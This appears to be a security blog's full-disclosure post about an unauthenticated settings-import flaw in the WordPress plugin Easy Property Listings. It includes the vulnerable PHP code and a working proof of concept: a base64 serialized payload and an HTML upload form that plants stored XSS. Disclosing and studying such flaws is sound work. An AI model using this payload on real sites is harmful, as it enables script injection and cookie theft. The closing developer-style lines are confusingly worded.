A Hacker Looks to be Probing for the WordPress Plugin Easy Property Listings, These Vulnerabilities Might Be Why
Yesterday we had what looks to be a hacker probing for usage of the plugin Easy Property Listings through requests for these two files:
/wp-content/plugins/easy-property-listings/license.txt
/wp-content/plugins/easy-property-listings/readme.txt
We didn’t already have any vulnerabilities listed in the data set of WordPress plugin vulnerabilities for our service that should explain why a hacker might be targeting that, so we started looking to see if there was something we should be warning our customers about. We immediately found that numerous security issues with the plugin, but one vulnerability connected to that that stood out right away and is the kind of thing hackers have been known to exploit in other plugins, is a persistent cross-site scripting (XSS) vulnerability caused by very insecure code that handles importing settings for the plugin. That is the kind of thing that would have been caught if a security review of the plugin had been done since it involves multiple issues that should be checked for during a review.
Details
The plugin registers the function epl_handle_tools_form() to be accessible during “admin_init”, which means it can run even when the request comes from someone not logged in to WordPress:
448 | add_action('admin_init', 'epl_handle_tools_form' ); |
The first part of that function, which is located in the file /lib/includes/admin/admin-functions.php, checks for the existence of several user inputs, but doesn’t do any security checks:
398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 | function epl_handle_tools_form() { if( !isset($_GET['page']) || $_GET['page'] != 'epl-tools' || !isset($_REQUEST['epl_tools_submit']) ) return; if( !isset($_REQUEST['action']) ){ return; } $action = $_REQUEST['action']; // sanitize post array $post_data = filter_input_array(INPUT_POST, FILTER_SANITIZE_STRING); switch($action) { |
One of the pieces of code that can run in the switch statement at the end of that code overwrites the plugin’s settings with contents from a file sent with the request:
431 432 433 434 435 436 437 438 439 440 441 442 | case 'import': $uploadedfile = $_FILES['epl_import']; $upload_overrides = array( 'test_form' => false ); $movefile = wp_handle_upload( $uploadedfile, $upload_overrides ); if ( $movefile && ! isset( $movefile['error'] ) ) { $imported_data = file_get_contents($movefile['url']); $imported_data = epl_unserialize( $imported_data ); $options_backup = get_option('epl_settings'); update_option('epl_settings_backup',$options_backup); $status = update_option('epl_settings',$imported_data); } |
The function epl_unserialize() that the contents of the file are sent to unserializes the value, so PHP object injection can occur in this code:
319 320 321 | function epl_unserialize($data) { return unserialize(base64_decode($data)); } |
If malicious JavaScript code is included in the new values of settings it can be output on the plugin’s settings, as shown with the proof of concept below, and likely elsewhere.
Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof concept will cause an alert box with any available cookies to be shown when accessing the page /wp-admin/admin.php?page=epl-settings.
Upload a .txt file with the following content using the form below:
YTo2MDp7czo4OiJjdXJyZW5jeSI7czozOiJBVUQiO3M6MTc6ImN1cnJlbmN5X3Bvc2l0aW9uIjtzOjY6ImJlZm9yZSI7czoyODoiY3VycmVuY3lfdGhvdXNhbmRzX3NlcGFyYXRvciI7czoxOiIsIjtzOjI2OiJjdXJyZW5jeV9kZWNpbWFsX3NlcGFyYXRvciI7czoxOiIuIjtzOjE1OiJhZG1pbl91bmlxdWVfaWQiO2k6MDtzOjU6ImRlYnVnIjtpOjA7czoxMjoiZGlzcGxheV9ib25kIjtpOjA7czoyMjoiZGlzcGxheV9zaW5nbGVfZ2FsbGVyeSI7aToxO3M6MTc6ImRpc3BsYXlfZ2FsbGVyeV9uIjtpOjQ7czoyMzoiZGlzcG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EiO3M6Mjk6ImN1c3RvbV9pbnNwZWN0aW9uX2RhdGVfZm9ybWF0IjtzOjc6ImwsIGRTIEYiO3M6Mjk6ImN1c3RvbV9pbnNwZWN0aW9uX3RpbWVfZm9ybWF0IjtzOjU6Img6aSBhIjtzOjE1OiJlcGxfdmlkZW9fd2lkdGgiO2k6NjAwO3M6MTg6Im1pbl9jb250YWN0X2FjY2VzcyI7czo4OiJsZXZlbF8xMCI7czoxODoibWluX3JlcG9ydHNfYWNjZXNzIjtzOjg6ImxldmVsXzEwIjtzOjE5OiJhY3RpdmF0ZV9wb3N0X3R5cGVzIjthOjE6e2k6MDtzOjg6InByb3BlcnR5Ijt9czoxOToiZXBsX2RlZmF1bHRfY291bnRyeSI7czo5OiJBdXN0cmFsaWEiO3M6MjI6ImVwbF9pY29uc19zdmdfbGlzdGluZ3MiO3M6Mjoib24iO3M6MjA6ImVwbF9pY29uc19zdmdfYXV0aG9yIjtzOjI6Im9uIjtzOjE1OiJlcGxfcGx1Z2luX21vZGUiO3M6MTA6InByb2R1Y3Rpb24iO30=
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php?page=epl-tools&action=import" method="POST" enctype="multipart/form-data"> <input type="file" name="epl_import" /> <input type="submit" name="epl_tools_submit" value="Submit" /> </form> </body> </html>
We have put extensive work into resolving all security issues in the Easy Property Listings plugin beyond just the above security issue.
Working day and night with the help of the WordPress.org tea directing us to the phpcs tool to assist in applying WordPress code standards Easy Property Listings 3.4 is out and not secure.
Tell you the truth, wich we knew about the phpcs tool before, so we have learned hell of a lot fro this experience and thankfully have resolved the issues.